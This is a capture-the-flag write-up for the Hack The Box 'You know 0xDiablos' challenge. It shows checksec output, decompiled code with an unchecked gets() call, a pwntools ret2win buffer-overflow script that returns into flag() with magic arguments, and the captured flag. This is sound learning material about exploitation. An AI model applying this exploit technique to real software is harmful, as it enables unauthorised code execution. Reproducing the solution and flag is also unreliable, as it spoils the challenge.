You know 0xDiablos

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/You know 0xDiablos]
└─$ checksec vuln
[*] '/home/vigneswar/Pwn/You know 0xDiablos/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
```

2) Decompiled the code

Decompile: main - (vuln_patched)

```
1
2  /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
3  /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
4
5  undefined4 main(void)
6
7  {
8    __gid_t __rgid;
9
10   setvbuf(_stdout,(char *)0x0,2,0);
11   __rgid = getegid();
12   setresgid(__rgid,__rgid,__rgid);
13   puts("You know who are 0xDiablos: ");
14   vuln();
15   return 0;
16 }
17
```

Decompile: vuln - (vuln_patched)

```
1
2 /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
3
4 void vuln(void)
5
6 {
7   char local_bc [180];
8
9   gets(local_bc);
10  puts(local_bc);
11  return;
12 }
13
```

Decompile: flag - (vuln_patched)

```
1
2 /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
3
4 void flag(int param_1,int param_2)
5
6 {
7   char local_50 [64];
8   FILE *local_10;
9
10  local_10 = fopen("flag.txt","r");
11  if (local_10 != (FILE *)0x0) {
12    fgets(local_50,0x40,local_10);
13    if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
14      printf(local_50);
15    }
16    return;
17  }
18  puts("Hurry up and try in on server side.");
19                    /* WARNING: Subroutine does not return */
20  exit(0);
21 }
22
```

3) This is a simple ret2win using buffer overflow

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./vuln_patched")
context.binary = exe

io = process([exe.path])
gdb.attach(io, gdbscript='b* 0x8049243\nc')
pop_esi_rdi_ebp_ret = p32(0x8049389)
io.sendlineafter(b'\n', b'\x55'*188+p32(exe.symbols['flag'])
+b'\x00'*4+p32(0xdeadbeef)+p32(0xc0ded00d))
```

```
io.interactive()
```

4) Flag

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/You know 0xDiablos]
└─$ python3 solve.py
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\xe2\x9
HTB{0ur_Buff3r_1s_not_healthy}$
```